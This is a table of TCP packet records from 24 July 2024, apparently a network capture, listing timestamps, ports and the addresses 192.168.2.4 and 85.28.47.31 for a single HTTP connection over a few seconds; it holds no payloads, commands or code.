Jul 24, 2024 02:39:00.615035057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.839482069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.839550018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.839601994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.839603901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.839603901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.839634895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.839667082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.839670897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.839688063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.839704037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.839714050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.839737892 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.839745045 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.839770079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.839777946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.839803934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.839814901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.839838028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.839844942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.839873075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.839878082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.839915037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.839991093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.840038061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:01.084898949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:01.084898949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:01.090478897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:01.090522051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:01.090549946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:01.090576887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:01.090603113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:01.836112022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:01.836479902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:01.907371044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:01.907448053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:01.912631989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:01.912667990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:01.912702084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:02.542625904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:02.542958975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:02.563685894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:02.568598032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:03.101823092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:03.102312088 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:03.384027004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:03.389224052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:03.944356918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:03.944850922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.189804077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.194858074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372467041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372509003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372525930 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372541904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372560024 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372559071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.372575045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372591019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372606993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372621059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.372622013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.372637033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372644901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.372653961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372665882 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.372673988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372685909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.372711897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.372711897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.372773886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372819901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.372860909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372874975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.372895002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.372922897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456028938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456227064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456262112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456315041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456346989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456379890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456402063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456403017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456403017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456403017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456412077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456444979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456476927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456510067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456510067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456511021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456542969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456557035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456578016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456579924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456612110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456617117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456643105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456646919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456676960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456677914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456708908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456721067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456741095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456748009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456773043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456778049 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456805944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456813097 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456845045 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456866026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456911087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456917048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456948996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456955910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.456980944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.456986904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.457014084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.457017899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.457046032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.457050085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.457075119 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.457079887 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.457110882 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.457117081 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.457148075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.538549900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.538599014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.538635015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.538690090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.538741112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.538742065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.538742065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.538742065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.538742065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.538774014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.538806915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.538821936 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.538822889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.538840055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.538847923 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.538872957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.538881063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.538907051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.538912058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.538938046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.538943052 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.538970947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539001942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539005041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539016962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539041996 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539235115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539297104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539330006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539361954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539393902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539412975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539412975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539412975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539412975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539427042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539462090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539493084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539493084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539494038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539520025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539530993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539535046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539563894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539571047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539596081 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539602995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539628029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539644957 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539661884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539674997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539695024 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539700031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539731026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539736032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539776087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.539812088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539843082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539875031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539906979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539940119 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.539972067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540004015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540035963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540046930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540046930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540046930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540046930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540046930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540046930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540046930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540069103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540101051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540138960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540139914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540139914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540139914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540165901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540211916 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540211916 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540220022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540254116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540260077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540296078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540360928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540393114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540404081 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540426970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540435076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540474892 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540673971 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540707111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540718079 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540739059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540752888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540767908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540782928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540801048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540807009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540833950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540842056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540868044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.540878057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540911913 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.540963888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.541016102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.620691061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.620759964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.620795012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.620827913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.620871067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.620871067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.620871067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.620879889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.620913029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.620949984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.620949984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.620949984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.620965004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.620997906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621007919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621031046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621042967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621062994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621073008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621107101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621112108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621144056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621170998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621176004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621202946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621206999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621248960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621259928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621268988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621289015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621304989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621320963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621330023 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621356010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621360064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621397018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621406078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621439934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621443987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621473074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621484041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621519089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621526003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621558905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621566057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621592045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621597052 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621623993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621627092 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621658087 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621661901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621697903 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621705055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621738911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621747017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621769905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621777058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621803999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621819973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621836901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621844053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621875048 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621898890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621931076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621938944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621962070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.621969938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.621993065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622004032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622026920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622034073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622059107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622067928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622100115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622189045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622221947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622230053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622253895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622258902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622284889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622298002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622318983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622323036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622351885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622364998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622383118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622392893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622423887 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622488976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622524023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622555017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622561932 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622561932 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622589111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622597933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622627974 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622636080 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622735023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622786999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622802019 CEST	49730	80	192.168.2.4	85.28.47.31
